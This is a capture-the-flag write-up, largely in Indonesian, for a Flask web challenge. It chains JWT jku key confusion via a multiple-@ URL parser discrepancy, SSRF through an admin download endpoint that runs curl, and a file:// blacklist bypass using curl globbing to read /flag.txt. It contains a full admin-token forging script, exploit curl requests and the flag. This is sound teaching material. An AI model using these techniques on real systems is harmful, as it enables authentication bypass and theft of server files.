Writeup Aria
C2C QualificationWeb

clicker

alt text

description

Author: lordrukie x beluga

Im too addicted to this clicker game, so i decided to make it myself.

Overview

Challenge ini adalah aplikasi web berbasis Flask yang menggunakan autentikasi JWT untuk mengontrol akses user dan admin.

Vulnerability utama pada challenge ini adalah:

  • JWT Key Confusion melalui parameter jku.
  • Server-Side Request Forgery (SSRF) + parser discrepancy.
  • Bypass filter skema file:// menggunakan curl globbing.

Goal: Mendapatkan akses admin dan membaca file sensitif (/flag.txt) dari server.

Proteksi:

  • Endpoint /api/admin/* hanya dapat diakses oleh admin
  • Server mencoba membatasi sumber JWKS dan memblok akses file://

Langkah Penyelesaian

1. Privilege Escalation (JWT Key Confusion)

Aplikasi menggunakan JWT dengan dukungan JWKS melalui parameter header jku. Server akan mengambil public key dari URL tersebut untuk memverifikasi signature token.

Untuk mencegah attacker menggunakan JWKS dari domain luar, developer membuat fungsi validasi berikut:

def validate_jku_url(url):
    allowed_domains = ['localhost', '127.0.0.1']
    allowed_ports = ['80', '443', '5000', '8080']
    if not url:
        return False
    scheme = extract_scheme(url)
    if not scheme:
        return False
    domain = extract_domain(url)
    path = extract_path(url)
    domain_only = domain
    if ':' in domain:
        domain_only, port = domain.split(':', 1)
        if port not in allowed_ports:
            return False
    if domain_only not in allowed_domains:
        return False
    if not path.endswith('jwks.json'):
        return False
    return True

Tujuan validasi ini adalah memastikan:

  • Domain harus: localhost atau 127.0.0.1
  • Port harus salah satu dari: 80, 443, 5000, 8080
  • Path harus berakhir dengan: jwks.json

Root Cause Vulnerability: Improper URL Parsing

  • Masalah utama ada pada fungsi extract_domain:
def extract_domain(url):
    url_without_scheme = remove_scheme(url)
    domain_and_port = url_without_scheme.split('/')[0]
    if '@' in domain_and_port:
        parts = domain_and_port.split('@')
        domain_and_port = parts[1]
    return domain_and_port

Fungsi ini mencoba menangani format: http://user@domain/path Namun implementasinya salah karena:

parts = domain_and_port.split('@')
domain_and_port = parts[1]

Ini hanya mengambil bagian setelah @ pertama, bukan yang terakhir.

Exploit Technique: Multiple @ Confusion Attacker dapat membuat URL seperti: http://a@localhost:5000@attacker.com/jwks.json

Mari lihat bagaimana fungsi memproses URL ini:

  1. Step 1 — remove_scheme Input: http://a@localhost:5000@attacker.com/jwks.json Output: a@localhost:5000@attacker.com/jwks.json

  2. Step 2 — extract_domain domain_and_port = url_without_scheme.split('/')[0]

Result: ['a', 'localhost:5000', 'attacker.com']

Kemudian: domain_and_port = parts[1] Result: localhost:5000

VALIDASI BERHASIL karena: domain_only = localhost, port = 5000. keduanya ada di whitelist.

Namun, HTTP client akan menggunakan host yang berbeda: Menurut standar URL parsing: http://a@localhost:5000@attacker.com/jwks.json

Host sebenarnya adalah: attacker.com Sehingga:

  • validate_jku_url → menganggap aman
  • HTTP client → mengambil JWKS dari attacker.com

ini disebut: Parser Discrepancy Vulnerability

Exploit Step: Forge Admin JWT:

Untuk mengeksploitasi vulnerability ini, saya membuat script sendiri.

Script ini dibuat untuk mengotomatisasi proses exploit JWT JKU confusion dengan melakukan:

  • Generate RSA key pair attacker
  • Membuat JWKS dari public key attacker
  • Membuat malicious JKU yang bypass validasi server
  • Forge JWT admin menggunakan private key attacker
  • Menyimpan artifact dan menghasilkan token siap pakai
import argparse
import base64
import importlib.util
import json
import time
from pathlib import Path
from typing import Any
from urllib.parse import urlparse

def b64url_uint(value: int) -> str:
    raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

def normalize_host(host_or_url: str) -> str:
    candidate = host_or_url.strip()
    if not candidate:
        raise ValueError("attacker host/url is empty")

    if "://" in candidate:
        parsed = urlparse(candidate)
        if not parsed.netloc:
            raise ValueError("invalid attacker url")
        host = parsed.netloc
    else:
        host = candidate

    if host.endswith("/"):
        host = host[:-1]

    return host

def build_bypass_jku(attacker_host: str, local_hint: str = "localhost:5000") -> str:
    return f"http://a@{local_hint}@{attacker_host}/jwks.json"

def generate_rsa_pair() -> tuple[bytes, Any]:
    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import rsa

    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    private_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.TraditionalOpenSSL,
        encryption_algorithm=serialization.NoEncryption(),
    )
    public_key = private_key.public_key()
    return private_pem, public_key

def jwk_from_public_key(public_key: Any, kid: str) -> dict:
    numbers = public_key.public_numbers()
    return {
        "kty": "RSA",
        "kid": kid,
        "use": "sig",
        "alg": "RS256",
        "n": b64url_uint(numbers.n),
        "e": b64url_uint(numbers.e),
    }

def write_artifacts(out_dir: Path, private_pem: bytes, jwks_doc: dict) -> tuple[Path, Path]:
    out_dir.mkdir(parents=True, exist_ok=True)
    private_path = out_dir / "attacker_private.pem"
    jwks_path = out_dir / "jwks.json"

    private_path.write_bytes(private_pem)
    jwks_path.write_text(json.dumps(jwks_doc, indent=2), encoding="utf-8")
    return private_path, jwks_path

def build_token(private_pem: bytes, kid: str, jku: str, username: str, user_id: int, ttl_hours: int) -> str:
    import jwt

    payload = {
        "user_id": user_id,
        "username": username,
        "is_admin": True,
        "exp": int(time.time()) + (ttl_hours * 3600),
        "jku": jku,
    }
    return jwt.encode(payload, private_pem, algorithm="RS256", headers={"kid": kid})

def test_admin(target_base: str, token: str) -> tuple[int, str]:
    import requests

    url = target_base.rstrip("/") + "/api/admin/settings"
    response = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10)
    return response.status_code, response.text

def main() -> None:
    required_modules = ["jwt", "requests", "cryptography"]
    if any(importlib.util.find_spec(module) is None for module in required_modules):
        print("Missing dependencies. Install first:")
        print("pip install pyjwt cryptography requests")
        return

    parser = argparse.ArgumentParser(description="Forge admin JWT for web_clicker JKU confusion bug")
    parser.add_argument("--attacker", required=True, help="Public host/url serving jwks.json (example: abcd.ngrok-free.app)")
    parser.add_argument("--target", default="http://challenges.1pc.tf:46986", help="Target base URL")
    parser.add_argument("--kid", default="key1", help="JWT kid header value")
    parser.add_argument("--username", default="admin", help="Username claim")
    parser.add_argument("--user-id", type=int, default=1, help="User ID claim")
    parser.add_argument("--ttl-hours", type=int, default=24, help="Token lifetime in hours")
    parser.add_argument("--out-dir", default="./clicker_artifacts", help="Output directory for private key + jwks")
    parser.add_argument("--local-hint", default="localhost:5000", help="Allowed host:port hint in bypass jku")
    parser.add_argument("--test", action="store_true", help="Send verification request to /api/admin/settings")
    args = parser.parse_args()

    attacker_host = normalize_host(args.attacker)
    bypass_jku = build_bypass_jku(attacker_host, args.local_hint)

    private_pem, public_key = generate_rsa_pair()
    jwk = jwk_from_public_key(public_key, args.kid)
    jwks_doc = {"keys": [jwk]}
    private_path, jwks_path = write_artifacts(Path(args.out_dir), private_pem, jwks_doc)

    token = build_token(
        private_pem=private_pem,
        kid=args.kid,
        jku=bypass_jku,
        username=args.username,
        user_id=args.user_id,
        ttl_hours=args.ttl_hours,
    )

    print("=== Artifacts ===")
    print(f"private key : {private_path}")
    print(f"jwks file   : {jwks_path}")
    print("\nServe jwks.json from your attacker host, then use this token:")
    print("\n=== Forged Admin Token ===")
    print(token)
    print("\n=== JKU used in token ===")
    print(bypass_jku)

    print("\n=== Quick test command ===")
    print(
        "curl "
        + args.target.rstrip("/")
        + "/api/admin/settings -H \"Authorization: Bearer "
        + token
        + "\""
    )

    if args.test:
        code, body = test_admin(args.target, token)
        print("\n=== Test response ===")
        print(f"status: {code}")
        print(body)

if __name__ == "__main__":
    main()

Contoh Penggunaan:

python3 forge_clicker_admin.py --attacker https://aria.my.id/jwks.json  --target http://challenges.1pc.tf:24283

alt text

Copy hasil jwks.json ke dalam vps, atau cpanel: alt text

2. Verifikasi akses admin

setelah mendapatkan token admin, langkah selanjutnya adalah mengakses endpoint admin untuk memastikan token bekerja dengan benar.

T='<FORGED_TOKEN>'
H="Authorization: Bearer $T"
U="http://challenges.1pc.tf:<PORT>"

curl -s "$U/api/admin/settings" -H "$H"
curl -s "$U/api/admin/files" -H "$H"

alt text

3. Server-Side Request Forgery (SSRF) melalui /api/admin/download

Setelah berhasil mendapatkan akses admin menggunakan forged JWT.

Endpoint ini memungkinkan admin untuk mendownload file dari URL arbitrary dan menyimpannya ke direktori /static/.

Analisis source code:

result = subprocess.run(
    ['curl', '-o', output_path, '--', url],
    capture_output=True,
    text=True,
    timeout=30
)

Server secara langsung menjalankan perintah:

curl -o static/<filename> -- <user-controlled-url>

Ini berarti server akan melakukan HTTP request ke URL yang dikontrol attacker. Jika berhasil, file akan disimpan di: /static/<filename>, dan dapat di akses di browser

Contoh request:

curl -X POST "$U/api/admin/download" \
  -H "$H" \
  -H "Content-Type: application/json" \
  -d '{
    "url":"http://127.0.0.1:5000/",
    "filename":"test.txt",
    "title":"test",
    "type":"image"
  }'
curl -s "$U/api/admin/files" -H "$H"

curl -s "$U/static/test.txt" -H "$H" | head -n 5

alt text

Output menunjukkan konten halaman internal server. Ini membuktikan bahwa SSRF berhasil.

4. Bypass filter file:// menggunakan curl globbing

Developer mencoba memblok protocol berbahaya menggunakan blacklist:

blocked_protocols = ['dict', 'file', 'ftp', 'gopher', ...]
url_lower = url.lower().strip()
for proto in blocked_protocols:
    if url_lower.startswith(proto) or (proto + ':') in url_lower:
        return jsonify({'message': f'Blocked protocol: {proto}'}), 400

Tujuannya adalah memblok akses seperti: file:///flag.txt Namun validasi ini lemah karena hanya memeriksa string literal.

Root Cause: Curl Globbing + Blacklist Bypass

Curl memiliki fitur bernama globbing yang memungkinkan pattern seperti: f[h-i]le:///flag.txt

Pattern ini akan diexpand oleh curl menjadi: fihe:///flag.txt, file://flag.txt

contoh: curl f[a-z]le:///flag.txt alt text

Namun validasi server hanya memeriksa string literal: if url_lower.startswith("file")

Akibatnya, filter dapat dibypass.

Exploit membaca flag

Kirim request berikut:

curl -X POST "$U/api/admin/download" \
  -H "$H" \
  -H "Content-Type: application/json" \
  -d '{
    "url":"f[h-i]le:///flag.txt",
    "filename":"flag.txt",
    "title":"flag",
    "type":"image"
  }'

Server menjalankan:

curl -o static/flag.txt -- f[h-i]le:///flag.txt

Curl melakukan globbing dan mengakses: file:///flag.txt, dan file flag disimpan ke /static/flag.txt.

Ambil file menggunakan:

curl -s "$U/static/flag.txt" -H "$H"

alt text

flag

C2C{p4rs3r_d1sr4p4ncy_4nd_curl_gl0bb1ng_1s_my_f4v0r1t3_e1e24a89bd25}

On this page